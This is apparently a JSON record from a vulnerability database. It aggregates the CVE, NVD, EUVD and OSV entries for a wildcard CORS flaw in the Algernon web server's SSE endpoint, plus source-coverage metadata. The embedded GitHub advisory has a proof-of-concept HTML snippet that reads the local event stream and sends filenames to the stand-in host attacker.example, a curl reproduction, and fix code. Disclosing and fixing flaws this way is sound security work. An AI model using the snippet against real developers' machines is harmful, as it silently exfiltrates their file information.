{"id":"GO-2026-5440","revision":null,"records":[{"revision":"a8c1d7526b0c422c96d4449805e29232","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46431","aliases":[],"title":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *","description":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.","state":0,"publishedAt":"2026-05-26T16:42:40.675+00:00","modifiedAt":"2026-05-26T17:39:14.529+00:00","affected":[{"ecosystem":"Vendor product","name":"algernon","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"xyproto\",\n                    \"product\": \"algernon\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.17.7\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46431","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46431","identifiers":["CVE-2026-46431"]},"retained":false,"historicalAffected":[]},{"revision":"173028b4e4f2431c83db168e255bdce2","observedAt":"2026-11-24T00:27:39.127+00:00","statement":{"source":"euvd","id":"EUVD-2026-31870","aliases":["CVE-2026-46431","GHSA-hw27-4v2q-5qff"],"title":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not prefl…","description":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":4.3,"severity":null}],"references":["https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-31870","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 26, 2026, 4:42:40 PM","dateUpdated":"May 26, 2026, 5:39:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-31870","identifiers":["EUVD-2026-31870","CVE-2026-46431","GHSA-hw27-4v2q-5qff"]},"retained":false,"historicalAffected":[]},{"revision":"f11cd8d3f21344d0a2e0409f51962af4","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-46431","aliases":[],"title":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not prefl…","description":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.","state":0,"publishedAt":"2026-05-26T17:16:51.1+00:00","modifiedAt":"2026-07-24T11:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46431","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-942"],"productCriteria":[],"sourceDates":{"published":"2026-05-26T17:16:51.100","lastModified":"2026-07-24T11:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46431","identifiers":["CVE-2026-46431"]},"retained":false,"historicalAffected":[]},{"revision":"4e293008236c46558b59dbf09ee2e971","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-hw27-4v2q-5qff","aliases":["CVE-2026-46431","GO-2026-5440"],"title":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *","description":"### Summary\n\nThe SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause — hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n<!doctype html>\n<script>\n  const s = new EventSource('http://127.0.0.1:5553/sse');\n  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));\n</script>\n```\n\nThe exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).\n\n### Suggestions to fix\n\n**Primary fix — echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + \"://\" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse > sse.txt &\n    sleep 1\n    echo \"trigger\" >> poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://<algernon>:5553/sse\")` and read the stream.","state":0,"publishedAt":"2026-05-20T15:34:40+00:00","modifiedAt":"2026-06-25T23:11:26.2401451+00:00","affected":[{"ecosystem":"Go","name":"github.com/xyproto/algernon","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.17.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff","https://nvd.nist.gov/vuln/detail/CVE-2026-46431","https://github.com/xyproto/algernon"],"sourceUrl":"https://github.com/advisories/GHSA-hw27-4v2q-5qff","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hw27-4v2q-5qff","identifiers":["GHSA-hw27-4v2q-5qff","CVE-2026-46431","GO-2026-5440"]},"retained":false,"historicalAffected":[]},{"revision":"01083e8ef72446dca6cee8180877ad25","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5440","aliases":["CVE-2026-46431","GHSA-hw27-4v2q-5qff"],"title":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon","description":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-06-25T23:00:17.3258371+00:00","affected":[{"ecosystem":"Go","name":"github.com/xyproto/algernon","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.17.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff","https://nvd.nist.gov/vuln/detail/CVE-2026-46431"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5440","license":"OSV · upstream source license applies","key":"osv:GO-2026-5440","identifiers":["GO-2026-5440","CVE-2026-46431","GHSA-hw27-4v2q-5qff"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T05:27:30.5058857+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T05:27:30.5058857+00:00","lastSuccessAt":"2026-11-24T05:27:30.6579444+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.6579447+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-f793b3808edf51819af738f3520c31a94b73d8b94ffa713e4622ddd78d4ca273","complete":true,"records":431031,"lastAttemptAt":"2026-11-24T05:25:39.4708462+00:00","lastSuccessAt":"2026-11-24T05:25:39.3992828+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:25:39.4708462+00:00","snapshotPublishedAt":"2026-11-24T04:25:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-eaaff4ef88bb424298fce31d5f4a031e","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T05:37:39.8459086+00:00","lastSuccessAt":"2026-11-24T05:37:39.841+00:00","error":"533 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T05:37:39.841+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13047,"expectedIdentifiers":13982,"failedIdentifiers":533},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T05:27:30.5058857+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T05:27:30.5058857+00:00","lastSuccessAt":"2026-11-24T05:27:30.6587456+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.6587457+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bc800b0ef2c049deb42191941645dc53","complete":false,"records":13947,"lastAttemptAt":"2026-11-24T05:27:55.9469453+00:00","lastSuccessAt":"2026-11-24T05:27:55.943+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:55.943+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13855,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T05:27:30.092335+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.092335+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T05:25:39.5271755+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:25:39.5271755+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-15e801f03affdaac7ba10268556f4d0b3e1b9f897dae85fdcade5fc30d25011c","complete":true,"records":3217,"lastAttemptAt":"2026-11-24T05:27:30.4682015+00:00","lastSuccessAt":"2026-11-23T17:27:41.2539213+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.4682015+00:00","snapshotPublishedAt":"2026-11-23T16:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-489cd9823eeffad22194d5f23ebd63c4e8a3f6a26af6ef41422537f9fa1ebc92","complete":true,"records":232947,"lastAttemptAt":"2026-11-24T05:27:29.9604725+00:00","lastSuccessAt":"2026-11-24T05:27:28.7856608+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:29.9604725+00:00","snapshotPublishedAt":"2026-11-24T04:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}